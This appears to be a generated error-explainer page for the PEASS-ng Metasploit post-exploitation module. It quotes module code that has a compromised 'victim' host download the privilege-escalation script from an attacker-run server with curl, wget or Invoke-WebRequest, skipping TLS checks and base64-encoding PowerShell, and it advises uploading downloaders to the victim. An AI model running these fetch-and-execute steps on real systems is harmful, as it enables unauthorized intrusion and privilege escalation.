peass-ng/PEASS-ng · error · RuntimeError

Neither curl nor wget were found in victim, unset the SRVHOS

Error message

Neither curl nor wget were found in victim, unset the SRVHOST option!

What it means

When SRVHOST/SRVPORT are configured, peass.rb serves the PEASS script over HTTP and needs the victim to download it with curl or wget. If `command -v curl` fails, it tries wget; if wget is also missing, it raises this error, telling you to unset SRVHOST so the script is written directly to the victim instead of downloaded.

Source

Thrown at metasploit/peass.rb:203

      http_port = ":#{datastore['SRVPORT']}"
      http_path = datastore["URIPATH"]
      url_download_peass = http_protocol + http_ip + http_port + http_path      
      print_good("Listening in #{url_download_peass}")
      
      # Configure the download of the script in Windows
      if session.platform.include?("win")
        cmd = "$ProgressPreference = 'SilentlyContinue';"
        cmd += get_bypass_tls_cert()
        cmd += "$#{ps_var1} = Invoke-WebRequest \"#{url_download_peass}\" -UseBasicParsing | Select-Object -ExpandProperty Content;"
      
      # Configure the download of the script in Unix
      else
        cmd = "curl -k -s \"#{url_download_peass}\""
        curl_path = cmd_exec("command -v curl")
        if ! curl_path.include?("curl")
          cmd = "wget --no-check-certificate -q -O - \"#{url_download_peass}\""
          wget_path = cmd_exec("command -v wget")
          raise 'Neither curl nor wget were found in victim, unset the SRVHOST option!' unless wget_path.include?("wget")
        end
      end
    end
    
    # Run PEASS script
    begin
      tmpout = "\n"
      print_status "Running PEASS..."

      # If Windows, suppose Winpeas was loaded
      if session.platform.include?("win")
        cmd += load_winpeas
        cmd += "$a = [winPEAS.Program]::Main(\"#{datastore['PARAMETERS']}\");"
        cmd += last_cmd
        # Transform to Base64 in UTF-16LE format
        cmd_utf16le = cmd.encode("utf-16le")
        cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
        

View on GitHub (pinned to 53fb989abc)

Solutions

  1. Unset the SRVHOST option so the module embeds/writes the script directly instead of downloading it
  2. Install curl or wget on the victim (apt/yum install curl)
  3. Upload curl/wget binary to the victim and ensure it is in PATH

Example fix

# before
run_single("use multi/meterpreter/peass; set SRVHOST 10.0.0.5; run")
# after
run_single("use multi/meterpreter/peass; unset SRVHOST; run")
Defensive patterns

Strategy: validation

Validate before calling

if session.platform !~ /win/
  has_dl = ["curl", "wget"].any? { |c| session.shell_command_token("command -v #{c}").to_s.include?(c) }
  raise "No curl/wget; unset SRVHOST" unless has_dl
end

Try / catch

begin
  run_single("use multi/meterpreter/peass; set SRVHOST 10.0.0.5; run")
rescue ::Exception => e
  print_error("#{e.message}; retrying without SRVHOST")
  run_single("use multi/meterpreter/peass; unset SRVHOST; run")
end

Prevention

When it happens

Trigger: Running peass with SRVHOST set (URL download mode) on a Unix session where both `command -v curl` and `command -v wget` return nothing.

Common situations: Minimal images without either downloader; meterpreter shell sessions on hardened hosts; PATH-restricted environments.

Related errors


AI-assisted analysis of peass-ng/PEASS-ng@53fb989abc (2026-09-02). Data as JSON: /api/errors/030dfb0641dd7ecd. Report an issue: GitHub.